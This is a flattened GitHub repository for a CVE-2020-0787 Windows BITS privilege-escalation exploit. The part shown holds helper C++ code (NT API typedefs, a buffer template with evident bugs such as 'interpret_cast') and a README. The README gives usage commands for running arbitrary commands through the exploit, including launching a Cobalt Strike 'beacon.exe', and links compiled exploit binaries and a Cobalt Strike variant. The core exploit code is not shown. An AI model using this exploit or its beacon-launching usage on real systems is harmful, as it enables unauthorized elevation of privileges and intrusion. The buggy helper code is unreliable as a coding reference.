23 | typedef NTSTATUS(NTAPI* _NtOpenFile)(
24 | _Out_ PHANDLE FileHandle,
25 | _In_ ACCESS_MASK DesiredAccess,
26 | _In_ POBJECT_ATTRIBUTES ObjectAttributes,
27 | _Out_ PIO_STATUS_BLOCK IoStatusBlock,
28 | _In_ ULONG ShareAccess,
29 | _In_ ULONG OpenOptions
30 | );
31 |
32 | const ULONG FileLinkInformation = 11;
33 |
34 | typedef struct _FILE_LINK_INFORMATION {
35 | BOOLEAN ReplaceIfExists;
36 | HANDLE RootDirectory;
37 | ULONG FileNameLength;
38 | WCHAR FileName[1];
39 | } FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION;
40 |
41 | typedef NTSTATUS(__stdcall *_ZwSetInformationFile)(
42 | _In_ HANDLE FileHandle,
43 | _Out_ PIO_STATUS_BLOCK IoStatusBlock,
44 | _In_ PVOID FileInformation,
45 | _In_ ULONG Length,
46 | _In_ ULONG FileInformationClass
47 | );
48 | typedef ULONG(NTAPI* _RtlNtStatusToDosError)(NTSTATUS status);
49 | void SetNtLastError(NTSTATUS status);
50 |
51 | #define DEFINE_NTDLL(x) _ ## x f ## x = (_ ## x)GetProcAddressNT(#x)
52 |
--------------------------------------------------------------------------------
/CommonUtils/stdafx.cpp:
--------------------------------------------------------------------------------
1 | // stdafx.cpp : source file that includes just the standard includes
2 | // CommonUtils.pch will be the pre-compiled header
3 | // stdafx.obj will contain the pre-compiled type information
4 |
5 | #include "stdafx.h"
6 |
7 | // TODO: reference any additional headers you need in STDAFX.H
8 | // and not in this file
9 |
--------------------------------------------------------------------------------
/CommonUtils/stdafx.h:
--------------------------------------------------------------------------------
1 | // stdafx.h : include file for standard system include files,
2 | // or project specific include files that are used frequently, but
3 | // are changed infrequently
4 | //
5 |
6 | #pragma once
7 |
8 | #include "targetver.h"
9 | #include
10 |
11 | FARPROC GetProcAddressNT(LPCSTR lpName);
--------------------------------------------------------------------------------
/CommonUtils/targetver.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | // Including SDKDDKVer.h defines the highest available Windows platform.
4 |
5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
7 |
8 | #include
9 |
--------------------------------------------------------------------------------
/CommonUtils/typed_buffer.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 |
6 | template
7 | class typed_buffer_ptr {
8 | std::unique_ptr buffer_;
9 | size_t size_;
10 |
11 | public:
12 | typed_buffer_ptr() {
13 | }
14 |
15 | explicit typed_buffer_ptr(size_t size) {
16 | reset(size);
17 | }
18 |
19 | void reset(size_t size) {
20 | buffer_.reset(new char[size]);
21 | memset(buffer_.get(), 0, size);
22 | size_ = size;
23 | }
24 |
25 | void resize(size_t size) {
26 | std::unique_ptr tmp(new char[size]);
27 |
28 | memcpy(tmp.get(), buffer_.get(), min(size, size_));
29 |
30 | buffer_ = std::move(tmp);
31 | }
32 |
33 | operator T*() {
34 | return reinterpret_cast(buffer_.get());
35 | }
36 |
37 | operator const T*() const {
38 | return cget();
39 | }
40 |
41 | T* operator->() const {
42 | return reinterpret_cast(buffer_.get());
43 | }
44 |
45 | const T* cget() const {
46 | return interpret_cast(buffer_.get());
47 | }
48 |
49 | typed_buffer_ptr(const typed_buffer_ptr& other) = delete;
50 | typed_buffer_ptr& typed_buffer_ptr::operator=(const typed_buffer_ptr& other) = delete;
51 |
52 | typed_buffer_ptr(typed_buffer_ptr&& other) {
53 | buffer_ = std::move(other.buffer_);
54 | size_ = other.size_;
55 | other.size_ = 0;
56 | }
57 |
58 | typed_buffer_ptr& operator=(typed_buffer_ptr&& other) {
59 | if (this != &other)
60 | {
61 | buffer_ = std::move(other.buffer_);
62 | size_ = other.size_;
63 | other.size_ = 0;
64 | }
65 | }
66 |
67 | size_t size() const {
68 | return size_;
69 | }
70 | };
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## CVE-2020-0787(named pipe)
3 | It's Just A Demo,Do not use in real.
4 |
5 | -Get result for Command execution(Use cmd /c):
6 | `exp.exe "cmd /c whoami > \\\\.\\pipe\\showme " show`
7 |
8 | -Run beacon.exe:
9 | `exp.exe "C:/beacon.exe"`
10 |
11 | 
12 |
13 | ## For CobaltStrike
14 | It's better one than current project:
15 | https://github.com/yanghaoi/ReflectiveDllSource/tree/master/CVE-2020-0787_CNA
16 |
17 | ## Reference
18 | Source from: https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION
19 |
20 |
--------------------------------------------------------------------------------
/Release/BitsArbitraryFileMoveExploit.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yanghaoi/CVE-2020-0787/d36ae6787b3ed136e1b756e6cf475481077f0cd7/Release/BitsArbitraryFileMoveExploit.exe
--------------------------------------------------------------------------------
/index.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yanghaoi/CVE-2020-0787/d36ae6787b3ed136e1b756e6cf475481077f0cd7/index.gif
--------------------------------------------------------------------------------
/x64/Release/BitsArbitraryFileMoveExploit.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yanghaoi/CVE-2020-0787/d36ae6787b3ed136e1b756e6cf475481077f0cd7/x64/Release/BitsArbitraryFileMoveExploit.exe
--------------------------------------------------------------------------------